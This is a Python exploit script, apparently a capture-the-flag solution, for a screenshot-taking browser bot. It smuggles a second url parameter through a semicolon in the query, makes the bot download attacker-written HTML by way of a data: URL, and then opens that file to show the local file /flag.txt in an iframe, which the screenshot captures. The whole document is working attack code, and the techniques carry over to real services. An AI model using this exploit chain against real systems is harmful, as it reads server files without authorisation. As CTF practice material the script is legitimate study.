"""Two-stage local exploit for the non-headless bot.

Stage 1 downloads a controlled HTML file into Chrome's Downloads directory.
Stage 2 opens that file, displays /flag.txt in a local-file iframe, and
redirects back to the OpenResty origin just as the bot captures its screenshot.
"""

import base64
import json
import time
import urllib.parse
import urllib.request
from pathlib import Path


BASE = "http://ip:port"
DOWNLOAD_NAME = "flagger.html"
DOWNLOAD_PATH = f"/root/Downloads/{DOWNLOAD_NAME}"


def trigger(target: str) -> str:
    # Traefik turns the semicolon into an outer query separator before the bot
    # parses duplicate `url` parameters.
    target_id = ";url=" + urllib.parse.quote(target, safe="")
    request_url = f"{BASE}/report?id={target_id}"
    with urllib.request.urlopen(request_url, timeout=10) as response:
        return response.read().decode("utf-8", errors="replace")


def get_reports() -> list[dict]:
    with urllib.request.urlopen(f"{BASE}/api/reports/get", timeout=10) as response:
        return json.load(response)


def save_screenshots(reports: list[dict], attempt: int) -> None:
    for index, report in enumerate(reports):
        encoded = report.get("screenshot")
        if not encoded:
            continue
        path = Path(f"download_stage_report_{attempt}_{index}.png")
        path.write_bytes(base64.b64decode(encoded))
    print(f"reports={len(reports)}; screenshots saved for attempt {attempt}")


reader_html = """<iframe src="file:///flag.txt"></iframe>
<script>
  setTimeout(() => {
    let t = 5000 + (Math.random() * 2 - 1) * 100;
    setTimeout(() => {
      document.location.href = "http://openresty:8080/api/get";
    }, t);
  });
</script>"""

reader_b64 = base64.b64encode(reader_html.encode()).decode()
download_html = f"""<body></body>
<script>
  const blob = new Blob([atob("{reader_b64}")], {{type: "text/html"}});
  const link = document.createElement("a");
  link.download = "{DOWNLOAD_NAME}";
  link.href = URL.createObjectURL(blob);
  document.body.appendChild(link);
  link.dispatchEvent(new MouseEvent("click", {{bubbles: true, cancelable: true}}));
</script>"""


download_target = "data:text/html," + urllib.parse.quote(download_html, safe="")
print("download stage:", trigger(download_target))
time.sleep(11)

for attempt in range(1, 4):
    print(f"read stage {attempt}:", trigger(f"file://{DOWNLOAD_PATH}"))
    time.sleep(11)
    save_screenshots(get_reports(), attempt)
